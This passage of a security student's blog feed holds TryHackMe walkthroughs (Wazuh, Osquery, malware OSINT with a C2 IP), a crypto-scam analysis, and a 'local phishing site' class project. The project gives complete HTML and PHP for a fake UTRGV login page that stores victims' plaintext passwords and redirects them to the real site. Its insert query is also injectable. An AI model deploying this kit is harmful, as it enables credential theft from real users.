&quot;https://10.10.172.133:55000/manager/configuration?pretty=true§ion=global&quot; -H &quot;Authorization: Bearer $TOKEN&quot;</pre><p>Get a filtered list of active agents:</p><pre>curl -k -X GET &quot;https://10.10.172.133:55000/agents?pretty=true&amp;offset=1&amp;limit=2&amp;select=status%2Cid%2Cmanager%2Cname%2Cnode_name%2Cversion&amp;status=active&quot; -H &quot;Authorization: Bearer $TOKEN&quot;</pre><h3>🖥️ Using Wazuh’s Web API Console</h3><p>If you prefer a graphical interface, Wazuh also includes a <strong>web-based API console</strong>. It can be accessed via the Wazuh dashboard:</p><blockquote><strong><em>Wazuh → Tools → API Console</em></strong></blockquote><p>The console includes pre-built queries that demonstrate how the API works. Just click a line and hit the green run arrow to execute it.</p><p>Like curl, the console uses the same REST methods and endpoints (e.g., GET /manager/info). You can explore further options by reviewing Wazuh’s official API documentation.</p><h3>🧠 Task Questions and Answers</h3><p><strong>10.1</strong> What is the name of the standard Linux tool that we can use to make requests to the Wazuh management server?</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>curl</em></blockquote><p><strong>10.2</strong> What HTTP method would we use to retrieve information for a Wazuh management server API?</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>GET</em></blockquote><p><strong>10.3</strong> What HTTP method would we use to perform an action on a Wazuh management server API?</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>PUT</em></blockquote><p><strong>10.4</strong> Navigate to Wazuh’s API console.</p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><p><strong>10.5</strong> Use the API console to find the Wazuh server’s version.</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>/v4.2.5</em></blockquote><h3>Task 11: Generating Reports with Wazuh</h3><p>One of the more practical features of Wazuh is its built-in <strong>reporting module</strong>, which lets you generate detailed summaries of security events over specific time periods. Whether you’re conducting regular audits or just need to document recent activity, Wazuh makes it easy to extract this data into a structured format.</p><h3>📊 Generating a Security Events Report</h3><p>To generate a report from the Wazuh dashboard:</p><ol><li>Navigate to:<br> <strong>Wazuh → Modules → Security Events</strong></li><li>Adjust the time range (e.g., last 24 hours) to ensure relevant data is available.</li><li>Click <strong>“Generate Report”</strong>.</li></ol><blockquote><em>⚠️ If the button is greyed out, that means there’s no matching data for the current query. Try adjusting the filters or date range.</em></blockquote><p>Once you initiate the report, it may take a few seconds or minutes to generate depending on the dataset size.</p><h3>📁 Accessing the Reporting Dashboard</h3><p>After generating the report:</p><ol><li>Click the <strong>“Wazuh”</strong> heading at the top</li><li>Navigate to:<br> <strong>Management → Reporting</strong></li></ol><p>Here, you’ll find a list of all previously generated reports. To download one, simply click the <strong>save icon</strong> under the <strong>Actions</strong> column. The report will download as a <strong>PDF</strong>, providing a clean breakdown of security events per agent.</p><p>These reports are especially helpful for compliance documentation, trend analysis, or demonstrating incident response coverage.</p><h3>🧠 Task Questions and Answers</h3><p><strong>11.1</strong> Use Wazuh’s “Report” feature to generate a report of an agent.</p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><p><strong>11.2</strong> Navigate to the Wazuh “Report” dashboard</p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><p><strong>11.3</strong> Analyze the report. What is the name of the agent that has generated the most alerts?</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>agent-001</em></blockquote><h3>Task 12: Loading Sample Data into Wazuh</h3><p>If you’re looking to explore more of what Wazuh can do, but don’t have active agents feeding in a lot of real-time data, you’re in luck — <strong>Wazuh includes sample data</strong> you can import at any time. This makes it easy to simulate a more active environment for learning or demonstration purposes.</p><h3>📦 How to Load Sample Data</h3><p>To import the sample data:</p><ol><li>Click the <strong>“Wazuh”</strong> tab at the top of the dashboard.</li><li>Hover over <strong>“Settings”</strong>.</li><li>Click on <strong>“Sample Data”</strong>.</li><li>Press the <strong>“Add Data”</strong> button on each of the available cards.</li></ol><p>Each card represents a different dataset. Once a dataset is successfully loaded, the button will change to say <strong>“Remove Data”</strong>.</p><p>⚠️ This process may take up to a minute per dataset.</p><h3>📊 Visualizing the New Data</h3><p>After importing, return to the <strong>Wazuh dashboard</strong>. You’ll notice that modules like <strong>Security Events</strong> are now populated with significantly more data.</p><p>To ensure the sample data is visible:</p><ul><li>Change the date filter to show the <strong>Last 7 days</strong> or more.</li><li>Refresh the dashboard to apply the new range.</li></ul><p>This gives you a much richer environment to explore Wazuh’s capabilities especially useful for testing features like dashboards, alerts, and reports without having to wait on real agent activity.</p><h3>🧠 Task Questions and Answers</h3><p><strong>12.1</strong> I’ve imported the sample data!</p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><p><strong>12.2</strong> I have played around with the sample data.</p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><p>This concludes the <strong>Wazuh</strong> room, and I have to say I really enjoyed working through it. Wazuh provides an incredibly realistic SIEM environment that’s hard to come by, especially for those without prior hands-on experience.</p><p>What stood out to me was how accessible and powerful this tool is. It’s inspired me to spin up my own <strong>home lab</strong> using Wazuh just to explore it further and continue learning.</p><p>I gained a lot of valuable insight from this room, and I hope anyone following along did as well. If you’re interested in blue teaming or security monitoring, Wazuh is absolutely worth diving into.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08ddca84b1c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ TryHackMe: Osquery Basics — A Hands-On Write-Up]]></title>
            <link>https://medium.com/@LobaMegaTon/%EF%B8%8F-tryhackme-osquery-basics-a-hands-on-write-up-b4ee99a406b3?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4ee99a406b3</guid>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[osquery]]></category>
            <category><![CDATA[sql]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Tue, 27 May 2025 16:45:20 GMT</pubDate>
            <atom:updated>2025-05-27T16:45:20.913Z</atom:updated>
            <content:encoded><![CDATA[<h3>🕵️ TryHackMe: Osquery Basics — A Hands-On Write-Up</h3><p><strong>by Ivan Lobaton</strong><br><em>May 2025</em></p><blockquote>“SQL meets endpoint visibility.”<em> That’s how I’d sum up my experience with Osquery.</em></blockquote><p>After wrapping up the Sysmon room in TryHackMe’s Endpoint Security Monitoring path, we’ve now stepped into Osquery a powerful open-source tool used for querying the state of an endpoint system using SQL-like syntax. Here’s a breakdown of my learning experience through each task in this room.</p><h3>🧪 Task 2: Connecting to the Lab</h3><p>I opted to RDP into the lab environment provided by TryHackMe. Once inside, it was straight into PowerShell, and I launched Osquery’s interactive shell using:</p><pre>osqueryi</pre><h3>🧩 Task 3: Interactive Mode in Osquery</h3><h4>Q1: How many tables are returned when querying .table process?</h4><p>Inside osqueryi, I ran:</p><pre>.table process</pre><p>This command lists any tables matching “process.” I counted <strong>3</strong> relevant tables.</p><p>✅ <strong>Answer:</strong> 3</p><h4>Q2: Which column shows the process ID in the processes table?</h4><p>To inspect the table schema, I used:</p><pre>.schema processes</pre><p>From the output, it was easy to identify the pid column as the one representing Process ID.</p><p>✅ <strong>Answer:</strong> pid</p><h4>Q3: How many display modes does .mode support in .help?</h4><p>Instead of experimenting in the CLI, the TryHackMe materials already include the output of the .help command. .mode supports <strong>5</strong> different display modes.</p><p>✅ <strong>Answer:</strong> 5</p><h3>📚 Task 4: Exploring Osquery’s Schema Documentation</h3><h4>Q1: How many common tables are supported across Linux and Windows in v5.5.1?</h4><p>Using the official schema documentation and filtering for both <strong>Linux</strong> and <strong>Windows</strong>, I found that <strong>56</strong> tables are shared between the two OSes.</p><p>✅ <strong>Answer:</strong> 56</p><h4>Q2: How many tables support MacOS in v5.5.1?</h4><p>After switching the filter to only <strong>macOS</strong>, the page showed <strong>180</strong> supported tables.</p><p>✅ <strong>Answer:</strong> 180</p><h4>Q3: Which table lists installed programs on Windows?</h4><p>Filtering by Windows and searching for a relevant table brought me to the programs table.</p><p>✅ <strong>Answer:</strong> programs</p><h4>Q4: In the registry table, which column holds the registry value?</h4><p>Within the registry table schema, the data column represents the actual registry value.</p><p>✅ <strong>Answer:</strong> data</p><h3>🛠 Task 5: Writing SQL Queries in Osquery</h3><h4>Q1: How many programs are installed on this host?</h4><pre>SELECT count(*) FROM programs;</pre><p>✅ <strong>Answer:</strong> 19</p><h4>Q3: What is the full SID for the user with RID 1009?</h4><p>Using:</p><pre>SELECT path, key, name FROM registry WHERE key = &#39;HKEY_USERS&#39;;</pre><p>Then checking the appropriate SID:</p><p>✅ <strong>Answer:</strong> S-1–5–21–1966530601–3185510712–10604624</p><h4>Q4: What Internet Explorer extension is installed?</h4><pre>SELECT * FROM ie_extensions;</pre><p>From the results, the path of the extension was:</p><p>✅ <strong>Answer:</strong> C:\Windows\System32\ieframe.dll</p><h4>Q5: What is the full name of the Wireshark program installed?</h4><pre>SELECT name, install_location FROM programs WHERE name LIKE &#39;%wireshark%&#39;;</pre><p>✅ <strong>Answer:</strong> Wireshark 3.6.8 64-bit</p><h3>🎯 Task 6: Final Challenges &amp; Conclusion</h3><h4>Q1: Which table stores evidence of process execution on Windows?</h4><p>This was a bit tricky. I referenced the walkthrough video and discovered the table is:</p><p>✅ <strong>Answer:</strong> userassist</p><h4>Q2: What program was used to remove disk traces?</h4><pre>SELECT * FROM userassist;</pre><p>One entry stood out:</p><p>✅ <strong>Answer:</strong> DiskWipe.exe</p><h4>Q3: What VPN is installed on the system?</h4><pre>SELECT name FROM programs;</pre><p>From the results:</p><p>✅ <strong>Answer:</strong> ProtonVPN</p><h4>Q4: How many services are running on the host?</h4><p>Although I initially misread the prompt and queried only running services:</p><pre>SELECT count(name) FROM services WHERE status = &#39;RUNNING&#39;;</pre><p>The correct answer was actually found using:</p><pre>SELECT count(name) FROM services;</pre><p>✅ <strong>Answer:</strong> 214</p><h4>Q5: What’s the name of the batch file that runs automatically?</h4><pre>SELECT path FROM autoexec WHERE path LIKE &#39;%.bat&#39;;</pre><p>✅ <strong>Answer:</strong> batstartup.bat</p><h4>Q6: What is the full path of that batch file?</h4><p>✅ <strong>Answer:</strong> C:\Users\James\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat</p><h3>🔚 Final Thoughts</h3><p>This room was a great hands-on intro to Osquery. I appreciated how it balanced technical depth with approachable challenges, especially for those of us brushing up on SQL syntax. Osquery is like having structured access to forensic-level endpoint data, and the experience reinforced how versatile it can be whether for threat hunting, compliance, or IT monitoring.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4ee99a406b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ “AI Reviews for Cash?” Inside a Crypto Scam Disguised as an App Monetization Platform]]></title>
            <link>https://medium.com/@LobaMegaTon/ai-reviews-for-cash-inside-a-crypto-scam-disguised-as-an-app-monetization-platform-453ac9f80356?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/453ac9f80356</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[socialengineeringattack]]></category>
            <category><![CDATA[scams-to-avoid]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Wed, 14 May 2025 23:57:43 GMT</pubDate>
            <atom:updated>2025-05-14T23:57:43.151Z</atom:updated>
            <content:encoded><![CDATA[<p>A deep dive into how <strong>fake AI tools</strong>, <strong>simulated dashboards</strong>, and <strong>real human trust</strong> are exploited for profit in an organized crypto scam.</p><p><strong>Websites Involved:</strong><br> ensail.store, digital-noob.com</p><p><strong>Communication Platforms:</strong><br> WhatsApp, Signal, Video Calls</p><p><strong>Payment Methods:</strong><br> Cryptocurrency via MetaMask &amp; Cash App</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*86f9wjMUZqym4qplRMRyLw.png" /><figcaption>Adversaries Website</figcaption></figure><h3>🎯 Overview</h3><p>This article is meant to <strong>shed light on the tactics and techniques used by scammers who exploit social engineering to take your money</strong> often without you even realizing it.</p><p>I came across this particular case when <strong>a friend reached out to me for advice</strong> after being contacted by a suspicious party via <strong>WhatsApp and Signal</strong>. The message was simple: <em>“You can make money easily just sign up.”</em></p><p>What followed was a complex trap involving fake platforms, cryptocurrency payments, and AI-laced promises of passive income. In this post, we’ll break down exactly how it works, why it’s so effective, and how to spot it before you or someone you know falls for it.</p><h3>🧠 Phase-by-Phase Breakdown</h3><h3>1. Contact Initiation</h3><p>Victims are contacted <strong>randomly via WhatsApp or Signal</strong>. In some cases, scammers initiate a <strong>video call</strong> to build trust. They present themselves as part of a company recruiting individuals to test and review mobile apps.</p><h3>2. Sign-Up on a Fake Platform</h3><p>Victims are sent to suspicious domains such as:</p><ul><li><a href="https://www.scamadviser.com/check-website/ensail.store">ensail.store</a> <em>(rated 20/100 on Scamadviser – high risk)</em></li><li>digital-noob.com/#/home</li></ul><p>They’re asked to <strong>create an account</strong>, entering a username and password, and then are “onboarded” like employees.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*nxAuzjJocUqeRAz6cvPw0w.png" /><figcaption>20/100</figcaption></figure><h3>3. Assigned Mentorship</h3><p>Each victim is given a <strong>personal mentor</strong> who stays in contact daily, reinforcing the legitimacy of the operation. This individual also handles all instructions for how to “review apps” and invest more effectively.</p><h3>4. Referral Program</h3><p>The victim is offered a <strong>$100 incentive per referral</strong>, encouraging them to invite friends and family. This is <strong>pyramid-style propagation</strong>, using trust networks to spread the scam.</p><h3>💸 How the Money Scam Works</h3><p>Victims are told that by reviewing apps, they’re helping improve app store rankings. The platform allegedly uses the victim’s money to “boost” the apps. Here’s the catch: the <strong>money is locked</strong>, and tasks cannot be completed unless the balance is high enough.</p><h3>🧪 Simulated Example:</h3><ul><li>Victim deposits <strong>$100</strong></li><li>A task is assigned: app costs <strong>$55</strong> to “boost”</li><li>Victim completes the task with a <strong>single click</strong> (they claim AI handles it)</li><li>Balance returns: $55 + $0.50 reward</li><li>BUT you must complete <strong>40 reviews</strong> before <strong>any money can be withdrawn</strong></li></ul><h3>🎣 The Trap Tightens</h3><h3>❌ No Early Withdrawals</h3><p>You <strong>can’t pull your money out</strong> until you complete all 40 daily tasks. Even if your account balance looks high, it’s locked.</p><h3>💸 Tasks Start Costing More</h3><p>Some reviews <strong>require more than what’s in your account</strong>, sometimes <strong>double</strong>. This forces the victim to <strong>invest more crypto</strong> just to continue.</p><h3>🤖 Fake Automation via “AI”</h3><p>The entire review system is a <strong>one-click button</strong>, with scammers claiming it’s handled by <strong>AI</strong>. It’s just a gimmick to reduce friction and give the illusion of legitimacy.</p><h3>🎰 Variable Rewards</h3><p>After the initial small returns (~$0.50), “random” tasks may reward <strong>0.5% to 5%</strong>. The victim is told <strong>only large balances</strong> and full task completion unlock higher yields.</p><h3>🧩 Psychological Manipulation Tactics</h3><p>Tactic &amp; Purpose</p><p>🔊 Video Calls: Build trust and human connection</p><p>🧑‍🏫 Assigned Mentor: Personalized support to remove skepticism</p><p>📈 Fake Dashboards: Show fake growth and returns</p><p>⏳ Task Lock-In: Prevent early withdrawal and increase sunk cost</p><p>🤝 Small Wins: Early return (e.g., “I made $500!”) to build belief</p><p>💬 AI Review Claim: Reduce friction, increase trust in automation</p><h3>🔍 Indicators of Compromise (IOCs)</h3><ol><li>Random contact via WhatsApp/Signal</li><li>Links to <strong>unknown, poorly-rated websites</strong> (ensail.store, digital-noob.com)</li><li>No real product or service behind the platform</li><li>Forced investment loops and task-based earning</li><li>Cryptocurrency-only payment (untraceable)</li><li>Withheld withdrawals until task completion</li><li>Simulated earnings and fake “AI review automation”</li></ol><h3>🚨 Final Thoughts</h3><p>This scam, like many others, preys on people who are just looking to make ends meet. It dangles the illusion of fast, easy money wrapped in tech jargon and gamified earnings to manipulate victims into putting their limited funds at risk.</p><p>It simulates that feeling of <strong>jitteriness and adrenaline</strong>, just like watching the stock market swing or going all in on red at a Vegas casino (not that <em>I</em> would know… <em>side eye</em>).</p><p>By claiming to use <strong>AI to automate reviews</strong>, it makes the operation feel cutting-edge. And because AI is still mysterious and evolving, people want to feel part of something futuristic, even if they don’t fully understand it. That false sense of inclusion only adds to the trap.</p><p>Sure, there <em>are</em> legitimate platforms that pay you for ad views or microtasks, but:</p><ul><li>They <strong>never</strong> require you to invest your own money</li><li>And they <strong>certainly don’t promise huge returns for a single click</strong></li></ul><p>What makes this scam especially cruel is how much effort is spent <strong>building trust </strong>the mentor, the video calls, the task training only to <strong>stab the victim in the back financially</strong> once they’re emotionally invested.</p><p>These platforms are not just shady they’re predatory. They should be <strong>taken down immediately and reported</strong> wherever they appear.</p><h3>🛡️ What You Should Do</h3><p>If you’ve encountered something similar:</p><ul><li><strong>Stop all communication</strong> with the scammer</li><li><strong>Document</strong> all interactions and wallet transactions</li><li><strong>Move your funds</strong> to a new crypto wallet</li><li><strong>Report</strong> to FTC, <a href="https://www.ic3.gov/">IC3</a>, or <a href="https://www.scamadviser.com/report-a-scam">Scamadviser</a></li><li><strong>Warn others</strong> in your community</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=453ac9f80356" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️‍♂️ Friday Overtime TryHackMe]]></title>
            <link>https://medium.com/@LobaMegaTon/%EF%B8%8F-%EF%B8%8F-friday-overtime-tryhackme-615ddc199c2c?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/615ddc199c2c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[evasive-panda]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Tue, 06 May 2025 20:23:15 GMT</pubDate>
            <atom:updated>2025-05-06T20:23:15.671Z</atom:updated>
            <content:encoded><![CDATA[<p>By Ivan Lobaton</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*-aF1hSUD-GFmIOTVIWYpvw.png" /><figcaption>Evasive Panda :D</figcaption></figure><h3>🧭 Introduction</h3><p>Welcome to my TryHackMe walkthrough for <strong>“Friday Overtime” </strong>even though it’s <em>Tuesday</em> today. 😂 Probably should’ve saved this one for an actual Friday, but here we are!</p><p>Join me as I do my best to walk you through this fun challenge. I’ll cover the methods, tools, and logic used for each task. By the end of this walkthrough, you’ll (hopefully) walk away a little wiser in <strong>malware analysis</strong>, <strong>OSINT (open source intelligence)</strong>, and <strong>threat research</strong>.</p><h3>📝 Task 1: Who shared the malware samples?</h3><p>Head over to the <strong>DocIntel dashboard</strong> provided in the room. You’ll find the name of the person who submitted the malware samples listed right there.</p><p>(Pro tip: You’ll need to open <strong>Firefox</strong> and log in using the <em>conveniently saved credentials</em>. Not exactly best security practice but hey, it works for us this time. 😅)</p><p>✅ <strong>Answer:</strong> Oliver Bennett</p><h3>🔐 Task 2: What is the SHA1 hash of the file pRsm.dll inside samples.zip?</h3><ol><li>Download samples.zip from the provided email.</li><li>Use the given password: Panda321!</li><li>Extract the archive. (unzip sample.zip)</li><li>Use the terminal to generate the SHA1 hash:</li></ol><pre>sha1sum pRsm.dll</pre><p>✅ <strong>Answer:</strong> 9d1ecbbe8637fed0d89fca1af35ea821277ad2e8</p><h3>🧬 Task 3: Which malware framework utilizes these DLLs as add on modules?</h3><p>Upload the hash of pRsm.dll to services like <a href="https://www.virustotal.com/">VirusTotal</a> or <a href="https://talosintelligence.com/">Talos Intelligence</a>. Based on the scan results, you’ll identify the malware framework.</p><p>✅ <strong>Answer:</strong> Mgbot</p><h3>🧠 Task 4: Which MITRE ATT&amp;CK technique is linked to using pRsm.dll in this malware framework?</h3><p>With the malware family identified as <strong>Mgbot</strong>, research known APT groups that use it. One key source is ESET’s blog post on the <strong>Evasive Panda APT group</strong>:</p><p>🔗 <a href="https://www.welivesecurity.com/">ESET — Evasive Panda APT delivers malware via updates</a></p><p>In that article, you’ll find the relevant MITRE ATT&amp;CK technique used by this DLL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*2_TNBQBrmIpCaRSQRG8zIg.png" /></figure><p>✅ <strong>Answer:</strong> T1123 – <em>Audio Capture</em></p><h3>🌍 Task 5: What is the CyberChef defanged URL of the malicious download location first seen on 2020–11–02?</h3><p>The article lists the malicious download URL with a matching date. Use CyberChef with the “Defang URL” recipe to safely obfuscate it.</p><p>✅ <strong>Answer:</strong></p><pre>hxxp://update.browser.qq.com/qmbs/QQ/QQUrlMgr_QQ88_4296[.]ex</pre><h3>📡 Task 6: What is the CyberChef defanged IP address of the C2 server first detected on 2020–09–14 using these modules?</h3><p>Search the same source for activity around <strong>2020–09–14</strong> to find the C2 IP address. Then, defang it using CyberChef’s “Defang IP” tool.</p><p>✅ <strong>Answer:</strong></p><pre>122.10.90.12</pre><h3>📱 Task 7: What is the SHA1 hash of the SpyAgent family spyware hosted on the same IP targeting Android devices on November 16, 2022?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PtFAKfDHqd1bd6Zu_WoUmw.png" /></figure><ol><li>Go to <a href="https://www.virustotal.com/">VirusTotal</a> and search the IP: 122.10.90.12</li><li>Open the <strong>Relations</strong> tab.</li><li>Locate Android related files connected to that IP around <strong>November 16, 2022</strong>.</li></ol><p>the <strong>Details</strong> tab of the SpyAgent sample, you’ll find the SHA1 hash.</p><p>✅ <strong>Answer:</strong></p><pre>1c1fe906e822012f6235fcc53f601d006d15d7be</pre><h3>🎯 Final Thoughts</h3><p>This room was a great mix of malware analysis, threat intel, and OSINT skills. It reinforces the importance of understanding how threat actors operate, how (IOC’s) are linked, and how tools like CyberChef and VirusTotal support defensive investigations.</p><p>P.s. Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=615ddc199c2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Raspberry Pi Local Phishing Site Project Documentation]]></title>
            <link>https://medium.com/@LobaMegaTon/%EF%B8%8F-raspberry-pi-local-phishing-site-project-documentation-b9f06c666fc6?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9f06c666fc6</guid>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[whitehat]]></category>
            <category><![CDATA[college]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Sat, 19 Apr 2025 05:12:29 GMT</pubDate>
            <atom:updated>2025-04-19T05:25:46.744Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WvoPS8XgWakMJTrWxNI9Og.png" /></figure><figure><img alt="Side by side comparison" src="https://cdn-images-1.medium.com/max/1024/1*ba7Ca4nEDrb-e6AoVDXxxw.png" /><figcaption>Database and side by side comparisons</figcaption></figure><h3>🎯 Project Overview</h3><p>This project demonstrates how to ethically simulate a phishing website on a local network using a Raspberry Pi running Kali Linux. It is strictly for educational purposes and was developed as part of a <strong>Linux Foundations course project</strong>.</p><p>The goal was to:</p><ul><li>Host a fake phishing site locally</li><li>Capture login credentials</li><li>Store them in a local MariaDB database</li><li>Make the site visually resemble a real institutional login (UTRGV)</li></ul><h3>🧰 Tools &amp; Technologies</h3><ul><li>Raspberry Pi (Kali Linux)</li><li>Apache2 (Web Server)</li><li>MariaDB (Database)</li><li>PHP (Backend scripting)</li><li>HTML/CSS (Frontend)</li><li>NetworkManager (Static IP configuration)</li></ul><h3>⚙️ Installation &amp; Setup Steps</h3><h3>🔹 1. Update the Raspberry Pi</h3><pre>sudo apt update &amp;&amp; sudo apt upgrade -y</pre><h3>🔹 2. Install LAMP Stack (Linux, Apache, MariaDB, PHP)</h3><pre>sudo apt install apache2 mariadb-server php php-mysql -y</pre><h3>🔹 3. Start and Enable Services</h3><pre>sudo systemctl start apache2 &amp;&amp; sudo systemctl enable apache2<br>sudo systemctl start mariadb &amp;&amp; sudo systemctl enable mariadb</pre><h3>🔹 4. Create the Database &amp; Table</h3><pre>sudo mariadb</pre><p>Then in the MariaDB shell:</p><pre>CREATE DATABASE phishing_site;<br>USE phishing_site;<br>CREATE TABLE credentials (<br>    id INT AUTO_INCREMENT PRIMARY KEY,<br>    username VARCHAR(255) NOT NULL,<br>    password_plaintext VARCHAR(255) NOT NULL,<br>    password_hash VARCHAR(255) NOT NULL,<br>    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP<br>);<br>EXIT;</pre><h3>🔹 5. Create Dedicated User for PHP Access</h3><pre>sudo mariadb<br><br>CREATE USER &#39;phish&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;trap123&#39;;<br>GRANT ALL PRIVILEGES ON phishing_site.* TO &#39;phish&#39;@&#39;localhost&#39;;<br>FLUSH PRIVILEGES;<br>EXIT;</pre><h3>🔹 6. Set a Static IP (Matching Subnet)</h3><pre>nmcli con mod &quot;netplan-wlan0-Network name&quot; ipv4.addresses x.x.x.x<br>nmcli con mod &quot;netplan-wlan0-Network name&quot; ipv4.gateway x.x.x.x<br>nmcli con mod &quot;netplan-wlan0-Network name&quot; ipv4.dns x.x.x.x<br>nmcli con mod &quot;netplan-wlan0-Network name&quot; ipv4.method manual<br>nmcli con down &quot;netplan-wlan0-Network name&quot; &amp;&amp; nmcli con up &quot;netplan-wlan0-Network name&quot;</pre><h3>🖼️ Web Page Setup</h3><h3>📄 index.html (Fake Login Page)</h3><p>Saved in: /var/www/html/index.html</p><p>This mimics UTRGV’s login page using local assets (logo and background):</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>  &lt;meta charset=&quot;UTF-8&quot;&gt;<br>  &lt;title&gt;Sign in&lt;/title&gt;<br>  &lt;style&gt;<br>    body {<br>      background: url(https://medium.com/&#39;background.jpg&#39;) no-repeat center center fixed;<br>      background-size: cover;<br>      display: flex;<br>      align-items: center;<br>      justify-content: center;<br>      height: 100vh;<br>      font-family: Segoe UI, Arial, sans-serif;<br>    }<br>    .login-box {<br>      background: white;<br>      padding: 40px;<br>      width: 350px;<br>      border-radius: 6px;<br>      box-shadow: 0 0 10px rgba(0,0,0,0.2);<br>    }<br>    .login-box img {<br>      height: 30px;<br>      margin-bottom: 10px;<br>    }<br>    input[type=&quot;text&quot;], input[type=&quot;password&quot;] {<br>      width: 100%;<br>      padding: 10px;<br>      margin-bottom: 20px;<br>      border: 1px solid #ccc;<br>      border-radius: 4px;<br>    }<br>    input[type=&quot;submit&quot;] {<br>      background-color: #0078d4;<br>      color: white;<br>      padding: 10px;<br>      width: 100%;<br>      border: none;<br>      border-radius: 4px;<br>      font-weight: bold;<br>    }<br>  &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;div class=&quot;login-box&quot;&gt;<br>    &lt;img src=&quot;bannerlogo.png&quot; alt=&quot;UTRGV Logo&quot;&gt;<br>    &lt;h2&gt;Sign in&lt;/h2&gt;<br>    &lt;form action=&quot;submit.php&quot; method=&quot;POST&quot;&gt;<br>      &lt;input type=&quot;text&quot; name=&quot;username&quot; placeholder=&quot;someone@utrgv.edu&quot; required&gt;<br>      &lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot; required&gt;<br>      &lt;input type=&quot;submit&quot; value=&quot;Next&quot;&gt;<br>    &lt;/form&gt;<br>  &lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h3>🐘 PHP Handler — submit.php</h3><p>Saved in: /var/www/html/submit.php</p><pre>&lt;?php<br>error_reporting(E_ALL);<br>ini_set(&#39;display_errors&#39;, 1);<br><br>$servername = &quot;localhost&quot;;<br>$username = &quot;phish&quot;;<br>$password = &quot;trap123&quot;;<br>$dbname = &quot;phishing_site&quot;;<br><br>$user = $_POST[&#39;username&#39;];<br>$pass_plain = $_POST[&#39;password&#39;];<br>$pass_hash = password_hash($pass_plain, PASSWORD_DEFAULT);<br><br>$conn = new mysqli($servername, $username, $password, $dbname);<br>if ($conn-&gt;connect_error) {<br>    die(&quot;Connection failed: &quot; . $conn-&gt;connect_error);<br>}<br><br>$sql = &quot;INSERT INTO credentials (username, password_plaintext, password_hash)<br>        VALUES (&#39;$user&#39;, &#39;$pass_plain&#39;, &#39;$pass_hash&#39;)&quot;;<br><br>if ($conn-&gt;query($sql) === TRUE) {<br>    header(&quot;Location: https://my.utrgv.edu&quot;);<br>    exit();<br>} else {<br>    echo &quot;Error: &quot; . $conn-&gt;error;<br>}<br><br>$conn-&gt;close();<br>?&gt;</pre><h3>📥 Capturing &amp; Viewing Credentials</h3><p>To view stored credentials:</p><pre>sudo mariadb<br>USE phishing_site;<br>SELECT * FROM credentials;</pre><p>To clear the database:</p><pre>DELETE FROM credentials;</pre><p>To export:</p><pre>mysqldump -u root phishing_site &gt; phishing_site.sql</pre><h3>🧪 Accessing the Site</h3><p>From any device on the same network:</p><pre>http://x.x.x.x</pre><h3>🛑 Legal Disclaimer</h3><p>This project is <strong>strictly for educational purposes in a local, closed environment</strong>. Do <strong>not</strong> attempt to deploy, access, or share this outside of a private lab setting. No real user data was targeted or harvested.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9f06c666fc6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Why Hydra Couldn’t Crack Metasploitable’s SSH (And What Worked Instead)]]></title>
